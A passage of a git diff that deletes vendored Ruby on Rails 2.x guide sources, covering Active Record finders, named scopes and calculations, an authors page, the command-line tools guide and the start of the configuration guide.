race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction. - -[source, ruby] -------------------------------------------------------- -Topic.transaction do - t = Topic.find(params[:id], :lock => true) - t.increment!(:views) -end -------------------------------------------------------- - -You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: - -[source, ruby] -------------------------------------------------------- -Topic.transaction do - t = Topic.find(params[:id], :lock => "LOCK IN SHARE MODE") - t.increment!(:views) -end -------------------------------------------------------- - -== Making It All Work Together - -You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the +find+ method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used. - -== Eager Loading - -Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address])+. Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this: - -[source, sql] -------------------------------------------------------- -Client Load (0.000383) SELECT * FROM clients -Address Load (0.119770) SELECT addresses.* FROM addresses - WHERE (addresses.client_id IN (13,14)) -MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM - mailing_addresses WHERE (mailing_addresses.client_id IN (13,14)) -------------------------------------------------------- - -The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run. - -If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+. -If you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example: - -[source, sql] -------------------------------------------------------- -+Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses - ON addresses.client_id = client.id INNER JOIN mailing_addresses ON - mailing_addresses.client_id = client.id -------------------------------------------------------- - -This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join): - -[source, ruby] -------------------------------------------------------- -Client.all(:joins => “LEFT OUTER JOIN addresses ON - client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON - client.id = mailing_addresses.client_id”) -------------------------------------------------------- - -When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this: - -[source, ruby] -------------------------------------------------------- -Client.first(:include => "orders", :conditions => - ["orders.created_at >= ? AND orders.created_at <= ?", 2.weeks.ago, Time.now]) -------------------------------------------------------- - -== Dynamic finders - -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the Client model, you also get +find_by_locked+ and +find_all_by_locked+. - -You can do +find_last_by_*+ methods too which will find the last record matching your argument. - -You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like +Client.find_by_name!("Ryan")+ - -If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+. - - -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+: - -[source,sql] -------------------------------------------------------- -SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1 -BEGIN -INSERT INTO clients (name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') -COMMIT -------------------------------------------------------- - -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example: - -[source, ruby] -------------------------------------------------------- -client = Client.find_or_initialize_by_name('Ryan') -------------------------------------------------------- - -will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. - - -== Finding By SQL - -If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query: - -[source, ruby] -------------------------------------------------------- -Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc") -------------------------------------------------------- - -+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects. - -== +select_all+ == - -+find_by_sql+ has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. - -[source, ruby] -------------------------------------------------------- -Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'") -------------------------------------------------------- - -== Working with Associations - -When you define a has_many association on a model you get the +find+ method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like +Client.find(params[:id]).orders.find_by_sent_and_received(true, false)+. Having this find method available on associations is extremely helpful when using nested resources. - -== Named Scopes - -Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query. - -=== Simple Named Scopes - -Suppose we want to find all clients who are male. You could use this code: - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :males, :conditions => { :gender => "male" } -end -------------------------------------------------------- - -Then you could call +Client.males.all+ to get all the clients who are male. Please note that if you do not specify the +all+ on the end you will get a +Scope+ object back, not a set of records which you do get back if you put the +all+ on the end. - -If you wanted to find all the clients who are active, you could use this: - -[source,ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :active, :conditions => { :active => true } -end -------------------------------------------------------- - -You can call this new named_scope with +Client.active.all+ and this will do the same query as if we just used +Client.all(:conditions => ["active = ?", true])+. If you want to find the first client within this named scope you could do +Client.active.first+. - -=== Combining Named Scopes - -If you wanted to find all the clients who are active and male you can stack the named scopes like this: - -[source, ruby] -------------------------------------------------------- -Client.males.active.all -------------------------------------------------------- - -If you would then like to do a +all+ on that scope, you can. Just like an association, named scopes allow you to call +all+ on them: - -[source, ruby] -------------------------------------------------------- -Client.males.active.all(:conditions => ["age > ?", params[:age]]) -------------------------------------------------------- - -=== Runtime Evaluation of Named Scope Conditions - -Consider the following code: - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :recent, :conditions => { :created_at > 2.weeks.ago } -end -------------------------------------------------------- - -This looks like a standard named scope that defines a method called +recent+ which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, +2.weeks.ago+ is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block: - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } -end -------------------------------------------------------- - -And now every time the +recent+ named scope is called, the code in the lambda block will be executed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded. - -=== Named Scopes with Multiple Models - -In a named scope you can use +:include+ and +:joins+ options just like in +find+. - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :active_within_2_weeks, :joins => :order, - lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } } -end -------------------------------------------------------- - -This method, called as +Client.active_within_2_weeks.all+, will return all clients who have placed orders in the past 2 weeks. - -=== Arguments to Named Scopes - -If you want to pass to a named scope a required arugment, just specify it as a block argument like this: - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :recent, lambda { |time| { :conditions => ["created_at > ?", time] } } -end -------------------------------------------------------- - -This will work if you call +Client.recent(2.weeks.ago).all+ but not if you call +Client.recent+. If you want to add an optional argument for this, you have to use prefix the arugment with an *. - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - named_scope :recent, lambda { |*args| { :conditions => ["created_at > ?", args.first || 2.weeks.ago] } } -end -------------------------------------------------------- - -This will work with +Client.recent(2.weeks.ago).all+ and +Client.recent.all+, with the latter always returning records with a created_at date between right now and 2 weeks ago. - -Remember that named scopes are stackable, so you will be able to do +Client.recent(2.weeks.ago).unlocked.all+ to find all clients created between right now and 2 weeks ago and have their locked field set to false. - -=== Anonymous Scopes - -All Active Record models come with a named scope named +scoped+, which allows you to create anonymous scopes. For example: - -[source, ruby] -------------------------------------------------------- -class Client < ActiveRecord::Base - def self.recent - scoped :conditions => ["created_at > ?", 2.weeks.ago] - end -end -------------------------------------------------------- - -Anonymous scopes are most useful to create scopes "on the fly": - -[source, ruby] -------------------------------------------------------- -Client.scoped(:conditions => { :gender => "male" }) -------------------------------------------------------- - -Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes. - -== Existence of Objects - -If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or false+. - -[source, ruby] -------------------------------------------------------- -Client.exists?(1) -------------------------------------------------------- - -The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists. - -[source, ruby] -------------------------------------------------------- -Client.exists?(1,2,3) -# or -Client.exists?([1,2,3]) -------------------------------------------------------- - -Further more, +exists+ takes a +conditions+ option much like find: - -[source, ruby] -------------------------------------------------------- -Client.exists?(:conditions => "first_name = 'Ryan'") -------------------------------------------------------- - -== Calculations - -This section uses count as an example method in this preamble, but the options described apply to all sub-sections. - -+count+ takes conditions much in the same way +exists?+ does: - -[source, ruby] -------------------------------------------------------- -Client.count(:conditions => "first_name = 'Ryan'") -------------------------------------------------------- - -Which will execute: - -[source, sql] -------------------------------------------------------- -SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan') -------------------------------------------------------- - -You can also use +:include+ or +:joins+ for this to do something a little more complex: - -[source, ruby] -------------------------------------------------------- -Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders") -------------------------------------------------------- - -Which will execute: - -[source, sql] -------------------------------------------------------- -SELECT count(DISTINCT clients.id) AS count_all FROM clients - LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE - (clients.first_name = 'Ryan' AND orders.status = 'received') -------------------------------------------------------- - -This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table. - - -=== Count - -If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+. - -For options, please see the parent section, <<_calculations, Calculations>>. - -=== Average - -If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this: - -[source, ruby] -------------------------------------------------------- -Client.average("orders_count") -------------------------------------------------------- - -This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. - -For options, please see the parent section, <<_calculations, Calculations>>. - -=== Minimum - -If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this: - -[source, ruby] -------------------------------------------------------- -Client.minimum("age") -------------------------------------------------------- - -For options, please see the parent section, <<_calculations, Calculations>> - -=== Maximum - -If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this: - -[source, ruby] -------------------------------------------------------- -Client.maximum("age") -------------------------------------------------------- - -For options, please see the parent section, <<_calculations, Calculations>> - -=== Sum - -If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this: - -[source, ruby] -------------------------------------------------------- -Client.sum("orders_count") -------------------------------------------------------- - -For options, please see the parent section, <<_calculations, Calculations>> - -== Changelog - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16[Lighthouse ticket] - -* December 29 2008: Initial version by Ryan Bigg \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/authors.txt b/vendor/rails/railties/doc/guides/source/authors.txt deleted file mode 100644 index d4862fe4..00000000 --- a/vendor/rails/railties/doc/guides/source/authors.txt +++ /dev/null @@ -1,57 +0,0 @@ -About the Authors -================= - -.Frederick Cheung -[[fcheung]] -*********************************************************** -Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. -He is based in Cambridge (UK) and when not consuming fine ales he blogs at http://www.spacevatican.org[spacevatican.org]. -*********************************************************** - -.Mike Gunderloy -[[mgunderloy]] -*********************************************************** -Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current -work with Rails. His near-daily links and other blogging can be found at http://afreshcup.com[A Fresh Cup]. -*********************************************************** - -.Emilio Tagua -[[miloops]] -*********************************************************** -Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. -Cofounder of http://www.eventioz.com[Eventioz]. He has been using Rails since 2006 and contributing since early 2008. -Can be found at gmail, twitter, freenode, everywhere as miloops. -*********************************************************** - -.Heiko Webers -[[hawe]] -*********************************************************** -Heiko Webers is the founder of http://www.bauland42.de[bauland42], a German web application security consulting and development -company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development, -Heiko has rarely looked back. -*********************************************************** - -.Tore Darell -[[toretore]] -*********************************************************** -Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails -and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions]. -*********************************************************** - -.Jeff Dean -[[zilkey]] -*********************************************************** -Jeff Dean is a software engineer with http://pivotallabs.com/[Pivotal Labs]. -*********************************************************** - -.Cássio Marques -[[cmarques]] -*********************************************************** -Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at http://cassiomarques.wordpress.com, which is mainly written in portuguese, but will soon get a new section for posts with english translation. -*********************************************************** - -.Pratik Naik -[[lifo]] -*********************************************************** -Pratik Naik is an independent Ruby on Rails consultant and also a member of the http://rubyonrails.com/core[Rails core team]. He blogs semi-regularly at http://m.onkey.org[has_many :bugs, :through => :rails] and has an active http://twitter.com/lifo[twitter account] . -*********************************************************** diff --git a/vendor/rails/railties/doc/guides/source/command_line.txt b/vendor/rails/railties/doc/guides/source/command_line.txt deleted file mode 100644 index 8a887bd0..00000000 --- a/vendor/rails/railties/doc/guides/source/command_line.txt +++ /dev/null @@ -1,340 +0,0 @@ -A Guide to The Rails Command Line -================================= - -Rails comes with every command line tool you'll need to - -* Create a Rails application -* Generate models, controllers, database migrations, and unit tests -* Start a development server -* Mess with objects through an interactive shell -* Profile and benchmark your new creation - -... and much, much more! (Buy now!) - -This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide. - -== Command Line Basics == - -There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are: - -* console -* server -* rake -* generate -* rails - -Let's create a simple Rails application to step through each of these commands in context. - -=== rails === - -The first thing we'll want to do is create a new Rails application by running the `rails` command after installing Rails. - -NOTE: You know you need the rails gem installed by typing `gem install rails` first, right? Okay, okay, just making sure. - -[source,shell] ------------------------------------------------------- -$ rails commandsapp - - create - create app/controllers - create app/helpers - create app/models - ... - ... - create log/production.log - create log/development.log - create log/test.log ------------------------------------------------------- - -Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. - -NOTE: This output will seem very familiar when we get to the `generate` command. Creepy foreshadowing! - -=== server === - -Let's try it! The `server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser. - -NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section] - -Here we'll flex our `server` command, which without any prodding of any kind will run our new shiny Rails app: - -[source,shell] ------------------------------------------------------- -$ cd commandsapp -$ ./script/server -=> Booting WEBrick... -=> Rails 2.2.0 application started on http://0.0.0.0:3000 -=> Ctrl-C to shutdown server; call with --help for options -[2008-11-04 10:11:38] INFO WEBrick 1.3.1 -[2008-11-04 10:11:38] INFO ruby 1.8.5 (2006-12-04) [i486-linux] -[2008-11-04 10:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000 ------------------------------------------------------- - -WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait. - -See? Cool! It doesn't do much yet, but we'll change that. - -=== generate === - -The `generate` command uses templates to create a whole lot of things. You can always find out what's available by running `generate` by itself. Let's do that: - -[source,shell] ------------------------------------------------------- -$ ./script/generate -Usage: ./script/generate generator [options] [args] - -... -... - -Installed Generators - Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration - -... -... ------------------------------------------------------- - -NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! - -Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right? - -Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: - -NOTE: All Rails console utilities have help text. As with most *NIX utilities, you can try adding `--help` or `-h` to the end, for example `./script/server --help`. - -[source,shell] ------------------------------------------------------- -$ ./script/generate controller -Usage: ./script/generate controller ControllerName [options] - -... -... - -Example: - `./script/generate controller CreditCard open debit credit close` - - Credit card controller with URLs like /credit_card/debit. - Controller: app/controllers/credit_card_controller.rb - Views: app/views/credit_card/debit.html.erb [...] - Helper: app/helpers/credit_card_helper.rb - Test: test/functional/credit_card_controller_test.rb - -Modules Example: - `./script/generate controller 'admin/credit_card' suspend late_fee` - - Credit card admin controller with URLs /admin/credit_card/suspend. - Controller: app/controllers/admin/credit_card_controller.rb - Views: app/views/admin/credit_card/debit.html.erb [...] - Helper: app/helpers/admin/credit_card_helper.rb - Test: test/functional/admin/credit_card_controller_test.rb ------------------------------------------------------- - -Ah, the controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of *hello*, which will say something nice to us. - -[source,shell] ------------------------------------------------------- -$ ./script/generate controller Greeting hello - exists app/controllers/ - exists app/helpers/ - create app/views/greeting - exists test/functional/ - create app/controllers/greetings_controller.rb - create test/functional/greetings_controller_test.rb - create app/helpers/greetings_helper.rb - create app/views/greetings/hello.html.erb ------------------------------------------------------- - -Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. - -Let's check out the controller and modify it a little (in `app/controllers/greeting_controller.rb`): - -[source,ruby] ------------------------------------------------------- -class GreetingController < ApplicationController - def hello - @message = "Hello, how are you today? I am exuberant!" - end - -end ------------------------------------------------------- - -Then the view, to display our nice message (in `app/views/greeting/hello.html.erb`): - -[source,html] ------------------------------------------------------- -

A Greeting for You!

-

<%= @message %>

------------------------------------------------------- - -Deal. Go check it out in your browser. Fire up your server. Remember? `./script/server` at the root of your Rails application should do it. - -[source,shell] ------------------------------------------------------- -$ ./script/server -=> Booting WEBrick... ------------------------------------------------------- - -The URL will be `http://localhost:3000/greetings/hello`. I'll wait for you to be suitably impressed. - -NOTE: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller. - -"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name? - -[source,shell] ------------------------------------------------------- -$ ./script/generate model -Usage: ./script/generate model ModelName [field:type, field:type] - -... - -Examples: - `./script/generate model account` - - creates an Account model, test, fixture, and migration: - Model: app/models/account.rb - Test: test/unit/account_test.rb - Fixtures: test/fixtures/accounts.yml - Migration: db/migrate/XXX_add_accounts.rb - - `./script/generate model post title:string body:text published:boolean` - - creates a Post model with a string title, text body, and published flag. ------------------------------------------------------- - -But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. - -Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. - -[source,shell] ------------------------------------------------------- -$ ./script/generate scaffold HighScore game:string score:integer - exists app/models/ - exists app/controllers/ - exists app/helpers/ - create app/views/high_scores - create app/views/layouts/ - exists test/functional/ - create test/unit/ - create public/stylesheets/ - create app/views/high_scores/index.html.erb - create app/views/high_scores/show.html.erb - create app/views/high_scores/new.html.erb - create app/views/high_scores/edit.html.erb - create app/views/layouts/high_scores.html.erb - create public/stylesheets/scaffold.css - create app/controllers/high_scores_controller.rb - create test/functional/high_scores_controller_test.rb - create app/helpers/high_scores_helper.rb - route map.resources :high_scores -dependency model - exists app/models/ - exists test/unit/ - create test/fixtures/ - create app/models/high_score.rb - create test/unit/high_score_test.rb - create test/fixtures/high_scores.yml - exists db/migrate - create db/migrate/20081217071914_create_high_scores.rb ------------------------------------------------------- - -Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the *resource*, and new tests for everything. - -The migration requires that we *migrate*, that is, run some Ruby code (living in that `20081217071914_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. - -NOTE: Hey. Install the sqlite3-ruby gem while you're at it. `gem install sqlite3-ruby` - -[source,shell] ------------------------------------------------------- -$ rake db:migrate -(in /home/commandsapp) -== CreateHighScores: migrating =============================================== --- create_table(:high_scores) - -> 0.0070s -== CreateHighScores: migrated (0.0077s) ====================================== ------------------------------------------------------- - -NOTE: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment. - -Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores - -We can create new high scores (55,160 on Space Invaders!) - -=== console === -The `console` command lets you interact with your Rails application from the command line. On the underside, `script/console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. - -=== dbconsole === -`dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. - -=== plugin === -The `plugin` command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly. - -Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field? - -There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things. - -[source,shell] ------------------------------------------------------- -$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid -+ ./CHANGELOG -+ ./MIT-LICENSE -... -... ------------------------------------------------------- - -=== runner === -`runner` runs Ruby code in the context of Rails non-interactively. For instance: - -[source,shell] ------------------------------------------------------- -$ ./script/runner "Model.long_running_method" ------------------------------------------------------- - -=== destroy === -Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times! - -[source,shell] ------------------------------------------------------- -$ ./script/generate model Oops - exists app/models/ - exists test/unit/ - exists test/fixtures/ - create app/models/oops.rb - create test/unit/oops_test.rb - create test/fixtures/oops.yml - exists db/migrate - create db/migrate/20081221040817_create_oops.rb -$ ./script/destroy model Oops - notempty db/migrate - notempty db - rm db/migrate/20081221040817_create_oops.rb - rm test/fixtures/oops.yml - rm test/unit/oops_test.rb - rm app/models/oops.rb - notempty test/fixtures - notempty test - notempty test/unit - notempty test - notempty app/models - notempty app ------------------------------------------------------- - -=== about === -Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! `about` is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. - -[source,shell] ------------------------------------------------------- -$ ./script/about -About your application's environment -Ruby version 1.8.6 (i486-linux) -RubyGems version 1.3.1 -Rails version 2.2.0 -Active Record version 2.2.0 -Action Pack version 2.2.0 -Active Resource version 2.2.0 -Action Mailer version 2.2.0 -Active Support version 2.2.0 -Edge Rails revision unknown -Application root /home/commandsapp -Environment development -Database adapter sqlite3 -Database schema version 20081217073400 ------------------------------------------------------- \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/configuring.txt b/vendor/rails/railties/doc/guides/source/configuring.txt deleted file mode 100644 index 489e205e..00000000 --- a/vendor/rails/railties/doc/guides/source/configuring.txt +++ /dev/null @@ -1,239 +0,0 @@ -Configuring Rails Applications -============================== - -This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to: - -* Adjust the behavior of your Rails applications -* Add additional code to be run at application start time - -NOTE: The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed. - -== Locations for Initialization Code - -Rails offers (at least) five good spots to place initialization code: - -* Preinitializers -* environment.rb -* Environment-specific Configuration Files -* Initializers (load_application_initializers) -* After-Initializers - -== Using a Preinitializer - -Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file. - -== Configuring Rails Components - -In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting: - -[source, ruby] -------------------------------------------------------- -config.time_zone = 'UTC' -------------------------------------------------------- - -This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object: - -[source, ruby] -------------------------------------------------------- -config.active_record.colorize_logging = false -------------------------------------------------------- - -Rails will use that particular setting to configure Active Record. - -=== Configuring Active Record - -+ActiveRecord::Base+ includes a variety of configuration options: - -+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging. - -+primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: - -* +:table_name+ would make the primary key for the Customer class +customerid+ -* +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+ - -+table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string. - -+table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. - -+pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. - -+colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord. - -+default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+. - -+schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. - -+timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. - -+lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. - -The MySQL adapter adds one additional configuration option: - -+ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+. - -The schema dumper adds one additional configuration option: - -+ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+. - -=== Configuring Action Controller - -ActionController::Base includes a number of configuration settings: - -+asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host. - -+consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors. - -+allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. - -+param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active. - -+default_charset+ specifies the default character set for all renders. The default is "utf-8". - -+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. - -+resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/". - -+resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+. - -+request_forgery_protection_token+ sets the token parameter 